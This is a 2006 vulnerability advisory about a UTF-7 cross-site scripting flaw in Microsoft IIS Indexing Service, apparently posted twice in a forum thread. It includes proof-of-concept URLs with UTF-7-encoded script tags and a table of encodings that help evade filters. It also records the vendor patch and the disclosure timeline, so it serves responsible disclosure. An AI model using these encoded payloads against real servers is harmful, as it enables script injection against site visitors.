+ Title:
~~~~~~~~~~~~~~~~~~~~~~~~~~~
Microsoft Internet Information Services UTF-7 XSS Vulnerability
[http://www.geocities.jp/ptrs_sec/advisory09e.html]
+ Date:
~~~~~~~~~~~~~~~~~~~~~~~~~~~
1 October 2006
+ Author:
~~~~~~~~~~~~~~~~~~~~~~~~~~~
Eiji James Yoshida [ptrs-ejy (at) bp.iij4u.or (dot) jp [email concealed]]
+ Risk:
~~~~~~~~~~~~~~~~~~~~~~~~~~~
Medium
+ Vulnerable:
~~~~~~~~~~~~~~~~~~~~~~~~~~~
Internet Information Services
+ Overview:
~~~~~~~~~~~~~~~~~~~~~~~~~~~
Using UTF-7 encoded URLs, IIS may return user specified content to the browser.
If 'Encoding' is set to 'Auto Select', and Internet Explorer finds a UTF-7 string in the response's body, it will set the charset
encoding to UTF-7 automatically, unless a certain charset encoding is already enforced.
+ Proof of concept:
~~~~~~~~~~~~~~~~~~~~~~~~~~~
http://MaliciousSite/+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-.htw?
CiWebHitsFile=/iisstart.asp&CiRestriction=''
http://MaliciousSite/+ADw-SCRIPT+AD4-alert('XSS');+ADw-+AC8-SCRIPT+AD4-.
ida
+ Patch:
~~~~~~~~~~~~~~~~~~~~~~~~~~~
Microsoft Security Bulletin MS06-053
Vulnerability in Indexing Service Could Allow Cross-Site Scripting (920685)
[http://www.microsoft.com/technet/security/bulletin/ms06-053.mspx]
+ Vendor status:
~~~~~~~~~~~~~~~~~~~~~~~~~~~
IPA/ISEC was notified on the 27th December 2005.
Microsoft has released a patch for this vulnerability on the 12th September 2006.
+ Similar vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~
XSS vulnerabilities in Google.com
[http://www.watchfire.com/securityzone/advisories/12-21-05.aspx]
Microsoft Security Bulletin (MS00-084)
Patch Available for 'Indexing Services Cross Site Scripting'
[http://www.microsoft.com/technet/security/bulletin/ms00-084.mspx]
-------------------------------------------------
Eiji James Yoshida
penetration technique research site
E-mail: ptrs-ejy (at) bp.iij4u.or (dot) jp [email concealed]
URL: http://www.geocities.jp/ptrs_sec/index.htm
-------------------------------------------------
~~~~~~~~~~~~~~~~~~~~~~~~~~~
Microsoft Internet Information Services UTF-7 XSS Vulnerability
[http://www.geocities.jp/ptrs_sec/advisory09e.html]
+ Date:
~~~~~~~~~~~~~~~~~~~~~~~~~~~
1 October 2006
+ Author:
~~~~~~~~~~~~~~~~~~~~~~~~~~~
Eiji James Yoshida [ptrs-ejy (at) bp.iij4u.or (dot) jp [email concealed]]
+ Risk:
~~~~~~~~~~~~~~~~~~~~~~~~~~~
Medium
+ Vulnerable:
~~~~~~~~~~~~~~~~~~~~~~~~~~~
Internet Information Services
+ Overview:
~~~~~~~~~~~~~~~~~~~~~~~~~~~
Using UTF-7 encoded URLs, IIS may return user specified content to the browser.
If 'Encoding' is set to 'Auto Select', and Internet Explorer finds a UTF-7 string in the response's body, it will set the charset
encoding to UTF-7 automatically, unless a certain charset encoding is already enforced.
+ Proof of concept:
~~~~~~~~~~~~~~~~~~~~~~~~~~~
http://MaliciousSite/+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-.htw?
CiWebHitsFile=/iisstart.asp&CiRestriction=''
http://MaliciousSite/+ADw-SCRIPT+AD4-alert('XSS');+ADw-+AC8-SCRIPT+AD4-.
ida
UTF-7("<") = +ADw-, +ADx-, +ADy-, +ADz-
UTF-7(">") = +AD4-, +AD5-, +AD6-, +AD7-
UTF-7("/") = +AC8-, +AC9-
+ Patch:
~~~~~~~~~~~~~~~~~~~~~~~~~~~
Microsoft Security Bulletin MS06-053
Vulnerability in Indexing Service Could Allow Cross-Site Scripting (920685)
[http://www.microsoft.com/technet/security/bulletin/ms06-053.mspx]
+ Vendor status:
~~~~~~~~~~~~~~~~~~~~~~~~~~~
IPA/ISEC was notified on the 27th December 2005.
Microsoft has released a patch for this vulnerability on the 12th September 2006.
+ Similar vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~
XSS vulnerabilities in Google.com
[http://www.watchfire.com/securityzone/advisories/12-21-05.aspx]
Microsoft Security Bulletin (MS00-084)
Patch Available for 'Indexing Services Cross Site Scripting'
[http://www.microsoft.com/technet/security/bulletin/ms00-084.mspx]
-------------------------------------------------
Eiji James Yoshida
penetration technique research site
E-mail: ptrs-ejy (at) bp.iij4u.or (dot) jp [email concealed]
URL: http://www.geocities.jp/ptrs_sec/index.htm
-------------------------------------------------
[ reply ]